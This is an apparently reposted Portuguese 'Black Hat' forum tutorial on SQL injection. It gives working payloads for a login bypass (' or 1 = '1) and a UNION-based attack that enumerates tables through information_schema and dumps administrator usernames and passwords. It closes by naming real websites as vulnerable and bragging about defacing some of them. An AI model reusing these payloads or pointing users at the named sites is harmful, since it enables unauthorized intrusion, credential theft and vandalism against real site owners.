Retirado do Forum Black Hat
Para começar temos que saber o básico de sql...
Uma consulta geralmente apresenta a seguinte estrutura:
select NOMEDACOLUNA1,NOMEDACOLUNA2 from NOMEDATABELA where CONDIÇÃO
Onde NOMEDACOLUNA1 e NOMEDACOLUNA2 são as colunas e NOMEDATABELA é a tabela, até ai não há nenhum mistério, mais agora vem a parte mais interessante, Não era Sql injection? Cade o injection? é até agora não houve nenhum injection, mais vamos ver agora...
Como injetar codigo Sql:
Primeiro vamos ver o metodo que é mais dificil de achar sites vulneráveis, o utilizando o metodo POST, entramos no painel administrativo na area de login, e no usuário e na senha colocamos (' or 1 = '1), "sem parentese, vamos ver o que acontece...
select usuario,senha from usuarios where usuario = '' or 1 = '1' and senha = '' or 1 = '1' ;
quem ver essa consulta e entender vai rir... Sabe porque? porque não é necessário usuario e nem senha, para estar logado...
1 vai sempre ser igual a 1!!!!!!!!!!!!!!!!
Agora vamos ver o metodo que ainda funciona com mais frequencia...
O Metodo GET!!!!
alguem já viu alguma url assim? "pagina.php?id=12" ? então!!! O 12 está passando pelo GET!!!! vamos ver como seria a consulta nessa pagina...
select pagina from paginas where id = 12
funciona, mais não é seguro, vamos ver por que...
Mais pera ai!!! Eu já vi esse 12 antes!!!! não era ele que foi passado pelo GET?
Então se agente colocar uma continuação nesse código, sera que ele vai executar?
Claro que vai!!!!
url:" pagina.php?id=12' "
a consulta vai ficar assim...
select pagina from paginas where id = 12'
Mais dai vai gerar um erro né? É claro que vai, você esqueceu de fechar as aspas... (Então se você adicionar uma aspas simples após o numero do GET e gerar um erro ou uma diferença na pagina, é provavel que esteja vulneravel)
Para continuar o ataque vamos ver quantas colunas tem o site, vamos pelo order by,
pagina.php?id=12 order by 10-- //ERRO
pagina.php?id=12 order by 5-- // SEM ERRO
pagina.php?id=12 order by 6-- // SEM ERRO
pagina.php?id=12 order by 7-- //ERRO
Descobrimos que essa página tem 6 colunas
vamos continuar o ataque como o comando union
pagina.php?id=12 union select 1,2,3,4,5,6--
PERA, PERA PERA!!! Que parada é essa ai? "--" é um comando para comentário, tudo que estiver após esse comando nessa linha não será executado...
Ta vamos continuar... Não aparece uns numerosinhos ai na página? sim, sim.
Tá idai???
Substitua um dos números que apareceu na tela pelo o que você quer descobrir, pra começar o nome da tabela em que fica o login e a senha do administrador, vamos ver qual código será usado...
(vamos supor que apareceu o numero 1,2 e o 3)
pagina.php?id=12 union select 1,2,table_name,4,5,6 from information_schema.tables--
Tá!!! Não tem algo diferente agora??? É claro que têm!!! estamos selecionando uma tabela de outra database, a famosa information_schema...
Ta apareceu um nome (CHARACTER_SETS) na tela... Filho esse é o nome da primeira tabela... Ta pai como eu vou ver o nome da segunda tabela? Simples filho acrescente o comando limit!!! Mas Pai como eu uso????
Simples filho, limit 0,1 é a primeira limit 1,1-- é a segunda, limit 2,1-- é a terceira e assim por diante...
Ta mais eu não queria achar a tabela que contem o nome do usuário e a senha???
Claro, é só procurar através do limit!!!
Ex:
pagina.php?id=12 union select 1,2,table_name,4,5,6 from information_schema.tables limit 30,1--
ta, eu descobri o nome da tabela do administrador é "TB_Admin", o que eu faço agora????
Simples usa o where e o information_schema.columns!!!
no nosso caso vai ficar assim!!!
Ex: pagina.php?id=12 union select 1,2,column_name,4,5,6 from information_schema.columns where table_name = "TB_Admin" limit 0,1-- VOCÊ JA SABE USAR O LIMIT!!!
Descubra o nome da coluna do login e da senha e depois faça o exploit...
Ex: pagina.php?id=12 union select 1,2,concat_ws(0x3a,usuario,senha),4,5,6 from TB_Admin--
dai vai aparecer algo assim...
admin:admin
Dai você vai descobrir que não precisava fazer tudo isso, era só tentar as senhas padrões!!! kkkkkkkk!!!!
Com esse passaporte, você descobre o paraiso e depois digite o usuario e a senha, para confirmar a sua estadia... Dai minha parte já acabou...
Por curiosidade:
Quais sites famosos vocês já viram com essa falha????
R: http://www.apostilando.com
http://www.embaixada-americana.org.br //já avisei o adm, e ja arrumou!!!
http://www.america-rj.com.br // já fiz desface, não sei se arrumaram...
http://www.pebodycount.com.br/ já fiz desface, não sei se arrumaram... (tive que pedir desculpas, kkkkkk) os usuários pensaram que foi uma gangue pernambucana!!! kkkkkkkkk
Além de sites de bancos e afins (Hacking tem etica, e roubar dinheiro é uma das coisas que não se deve fazer)
Além desses existem MILHARES AO INFINITO E AO ALÉM!!!
http://www.contaspremium.com.br //Descoberto pelo mestre Jimmy (esse é o cara)!!! Ainda pelo metodo POST!!! kkkkkkkk!!!
Créditos: ---sd---
[TUT] Information_Schema
Publicada 8/12/2009 12:25:00 da manhã
Categoria Tutoriais
Subscrever:
Enviar feedback (Atom)
0 comentários:
Enviar um comentário